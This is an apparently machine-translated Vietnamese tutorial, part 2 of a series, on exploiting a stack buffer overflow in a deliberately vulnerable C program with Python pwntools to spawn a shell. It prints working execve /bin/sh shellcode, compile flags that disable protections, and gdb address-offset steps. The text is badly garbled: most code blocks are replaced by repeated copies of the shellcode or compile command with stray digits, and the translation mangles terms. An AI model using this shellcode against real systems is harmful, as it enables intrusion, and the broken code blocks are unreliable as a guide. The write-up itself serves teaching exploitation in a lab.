Bộ đệm python 3

Chào mọi người, nối tiếp phần 1, phần 2 mình sẽ thực hiện khai thác lỗi tràn bộ đệm để lấy shell bằng cách sử dụng thư viện pwntools của python3. Dưới đây là mã C của chương trình khai thác phần trước

#include 
#include 

int main[int argc, char *argv[]]{
	char array[64];
	if[argc>1]
		strcpy[array, argv[1]];
}

The you compile program by after code [phần 1]

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim

1. Giới thiệu về pwntools thư viện

  • Cách cài đặt trên python3
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools

Các bạn có thể đọc thêm về thư viện tại đây. https. // tài liệu. pwntools. com/vi/ổn định/cài đặt. html

  • Một số chức năng cơ bản

Đóng gói, tháo dây chuyền

  • p32[], p64[]. đóng gói 32 bit và 64 bit, cũ.
    shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
                 "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
                 "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
    
    2
  • u32[], u64[]. giải nén 32bits và 64bits, ex.
    shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
                 "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
                 "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
    
    3

Lắp ráp và tháo rời mã

  • asm[]. Bán tại.
    shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
                 "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
                 "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
    
    4
  • giải tán[]. Bán tại.
    shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
                 "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
                 "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
    
    5

2. Lấy shell với pwntools và shellcode

Mình có shellcode để tạo 1 shell như sau

shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
             "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
             "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

Trong series này mình sẽ hướng dẫn các bạn viết shellcode của mình, tuy nhiên không phải ở bài này

Tiến hành khai thác

Như đã nói ở bài trước, sau khi dùng gdb để gỡ lỗi, ta tính toán ra số byte cần thêm vào bộ đệm để điều khiển con trỏ trả về [eip] trong ngăn xếp là

shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
             "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
             "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
6

Đầu tiên, mình tính toán số byte của shellcode bằng printf và wc

┌──[kali㉿kali]-[~]
└─$ printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" | wc -c               
40

Vì vậy shellcode có độ dài là 40 byte Sau đó mình tạo 1 file mining. py to process working

khai thác. py

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
0

Tuy nhiên, chúng ta gặp 1 vấn đề, đó là địa chỉ trả về [địa chỉ trả về cần được tính toán, con trỏ về shellcode đầu [hoặc con trỏ vào nop]]. Nói 1 chút về nop,là 1 lệnh "không làm gì cả", khi gặp lệnh này, đơn giản sẽ trượt đến câu lệnh tiếp theo

Nếu sử dụng gdb để gỡ lỗi, ta có thể biết được địa chỉ bắt đầu của bộ đệm, tuy nhiên địa chỉ này và địa chỉ chạy trong chương trình python của chúng ta khác nhau, vì môi trường chạy khác nhau. Vì vậy, mình sử dụng chương trình C dưới đây để tính toán lệnh giữa gdb và python

tìm_bắt đầu. c

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
1

Biên dịch chương trình.

shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
             "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
             "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
7

  • Tính toán find_start trong gdb. Mở nạn nhân gdb, tạo điểm ngắt và chạy chương trình như sau
gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
3

Như vậy chương trình sẽ chạy với tham số là

shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
             "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
             "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
8, ta cần biết giá trị của find_start đã lưu trong ngăn xếp. Tiến hành tháo rời main. Ta được

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
5

Received strcpy@plt function at 0x565561b3. Tạo breakpoint ngay sau đó để xem kết quả vì find_start đã được copy vào bộ đệm

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
6

Run next program, ta was results in stack as after

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
0

Như vậy trong gdb. /find_start =

shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
             "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
             "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
9

Tiếp theo, chỉnh sửa 1 chút chương trình python để ra kết quả find_start

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
1

Kết quả như sau

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
2

Vì vậy. /find_start in python is 0xffffd138 => Độ lệnh giữa 2 môi trường là.

┌──[kali㉿kali]-[~]
└─$ printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" | wc -c               
40
0 => trăn = gdb + 164

Tiếp theo, gỡ lỗi với gdb ta tìm được điểm bắt đầu của shellcode bằng cách chạy chương trình với đầu vào 76 byte. r

┌──[kali㉿kali]-[~]
└─$ printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" | wc -c               
40
1

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
3

In result in gdp is 0xffffd054 => Ok, ta có chương trình python hoàn thiện như sau

khai thác. py

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
4

Kết quả nhận được

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
5

Do đó ta has been 1 shell. Trong phần tiếp theo, mình sẽ hướng dẫn cách lấy 1 shell với bộ đệm nhỏ, không đủ shell chứa đầu vào

Chủ Đề